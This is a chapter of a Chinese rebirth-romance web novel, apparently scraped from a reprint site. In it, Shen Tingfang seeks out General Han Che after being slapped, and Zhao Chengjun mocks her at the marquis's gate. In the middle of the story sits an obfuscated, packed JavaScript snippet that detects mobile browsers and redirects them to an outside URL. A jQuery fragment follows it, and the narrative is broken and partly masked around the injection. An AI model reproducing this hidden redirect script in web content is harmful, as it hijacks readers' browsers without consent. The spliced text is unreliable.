许敬贤瞪了赵承钧一眼:“赵大人既然已经有了意中人,就莫要再来招惹旁人!鄙人妹妹在大人眼中是根草,在我们许家可是一块宝!”
他回身拽起许龄真,赶着叫人备车,要送许龄真回宁海城。
许龄真哭得上气不接下气,频频回头,盯着赵承钧,直到赵承钧策马而去,才放声大哭。
“哥,你别拽着我,你叫我去找赵承钧!”
许敬贤恨铁不成钢:“赵承钧根本瞧不上你!”
“你胡说!他瞧不上的是庭芳!庭芳是商贾女,他才瞧不上的,我是知府的女儿,他怎会瞧不上我?”
她越哭越凶,已经到了口不择言的地步。
“庭芳的确很好,可她的身份摆在这里,一般的官宦人家,谁肯娶她过门?也就是你心心念念,把庭芳当成宝,你以为爹娘就很喜欢庭芳吗?他们只是不忍心让你难过罢了。”
许敬贤愣住了。
爹娘真的是这么想的吗?
身后的落霞山庄大门砰的一声合上,里头传来瑞香的声音:“你们还等什么,快把许大姑娘的东西都收拾收拾,送出去!”
……
沈家的车跑得很快,赵承钧在后头不紧不慢地跟着,始终距离一丈之远。
“姑娘,”连翘忧心忡忡,“咱们要不要等老爷回来,再去拜访顾侯爷?”
沈庭芳这半边脸已经肿起来了。
她用帕子盖着脸,轻轻摇摇头。
“趁着这会儿脸上有伤,去找顾侯也好说分明,等我爹回来,我脸上的伤早就消掉了,那会儿再去找顾侯告状,恐怕不如眼下有用。”
沈庭芳上一世见过顾侯几次。
顾侯爽朗健谈,公允严明,是个很亲和的人。
直到如今,沈庭芳依然想不通,这样的人,怎么可能通敌叛国呢?
顾侯住在宁海城丰润庄,这里是沈家的一个园子。
得知顾侯要在宁海城小住一段日子,沈万千特地将丰润庄腾出来,供顾侯居住。
守门的小子认识沈庭芳,特地跟旁边的侍卫点头哈腰地说,这是沈家的大姑娘。
可侍卫却并不肯通融。
“甭管是谁家的大姑娘,没有帖子,都不能擅闯顾侯居所。”
小子还要求情,被沈庭芳制止了:“这位军爷,我是来找韩彻韩将军的,可否请军爷进去请了韩将军出来?”
两个侍卫互相瞧了一眼,脸上便都露出恍然大悟的神情。
“原来韩将军迷上的姑娘是沈家大姑娘啊。”
沈庭芳面色微红,忙解释道:“我与韩将军只是朋友。”
侍卫呵呵笑了笑,看神情却并不相信。
沈庭芳也很无奈。
流言怎么传成这个样子了?
她跟韩彻怎么可能呢?
赵承钧刚好下马,看到沈庭芳被堵在门口,便冷笑了两声。
“有些地方,以你如今的身份,是一辈子都进不去的,沈庭芳,**这条心吧,我是不会让你得逞的。”
他实在是不明白。
沈庭芳长相不差,虽说是商贾之女,但沈家财富可观,只要不攀图权势,沈庭芳想嫁什么样的人家嫁不得?
为什么非要缠着他呢?
上一世如此,这一世依然如此。
即便他已经说出自己的心上人是阿越,沈庭芳依然使出各种手段来接近他。
今日打他一巴掌,故意激怒他,又跑来向顾侯告状,恐怕也是纠缠他的一种手段。
赵承钧便打起精神。
今日无论如何,决不能让沈庭芳在顾侯面前胡搅蛮缠,毁了他和阿越的一辈子。
沈庭芳如今听到赵承钧的声音便觉得恶心。
她往旁边让了让,依旧用帕子捂着脸。
“不劳赵大人操心,我进不去的地方,不去就是了。”
赵家那种**不吐骨头的地方,她这辈子、下辈子、永生永世,都不想再进去!
赵承钧冷哼了一声,将马鞭扔给门口的小子,大步流星进了丰润庄。
跟着沈庭芳来的桔梗忍不住啐道:“有什么可神气的!这丰润庄还是我们沈家的庄子呢!我们姑娘不知道进去多少回了。”
“桔梗!”沈庭芳忙低声呵斥桔梗,“休要胡说!”
丰润庄的确是沈家的产业,但如今已经腾给顾侯住了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160717|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桔梗胡乱说话,是会惹祸的。
沈庭芳只等了一会儿,便看见了韩彻。
“你怎么来了?”
身后两个侍卫嘻嘻哈哈地低声笑,韩彻淡淡瞥他们一眼,他们就不敢吭声了,忙屏气凝神地站好。
“你跟我来。”
韩彻带着沈庭芳从角门入了丰润庄,直接将她带入门边的茶房内,顺手关上了门。
“发生什么事了?”
沈庭芳是个不麻烦人的性子,如果没有急事,绝不会来找他。
瞅见沈庭芳脸上捂着一条帕子,韩彻便拧起眉头。
“你的脸怎么了?”
他伸手拽下帕子,映入眼帘的,便是沈庭芳那又红又肿的半边脸。
“这是谁打的!”
刹那间,韩彻就变了脸色。
一双眸子冷冽锐利,直往外冒着寒气,把沈庭芳都吓着了。
她下意识地就想遮掩过去:“你别管了,你能不能帮我想想法子,让我见到顾侯?”
韩彻的脸色越发阴沉。
“我再问一遍,是谁打了你?”
沈庭芳抿着嘴不肯说。
韩彻的脾气不好,跟赵承钧也似乎不像她想象中的那样亲密无间。
万一因为她与赵承钧起了冲突,外头必定会掀起流言蜚语,说顾侯帐中双煞因为她而争风吃醋。
她如今只想躲着这两个人,哪里敢主动招惹流言。
“能让你找顾侯的人,是赵承钧吧?你不说,是怕我动手伤了他?”
韩彻冷笑两声。
“你放心,我不会伤了你的情郎……”
“韩彻!”
沈庭芳跺了跺脚,眼底隐隐含着泪花。
“我与赵承钧毫无瓜葛,即便是这个世间的男人都死光了,只剩下赵承钧一个,我也绝不会看上赵承钧!”
她又委屈,又着急。
不知道要如何解释,才能让韩彻相信,她与赵承钧之间真的清清白白。
情急之下,沈庭芳猛地拔出头上金簪,抵住了自己的喉咙。
“你要是再敢说一遍方才那句话,我就死在你面前!”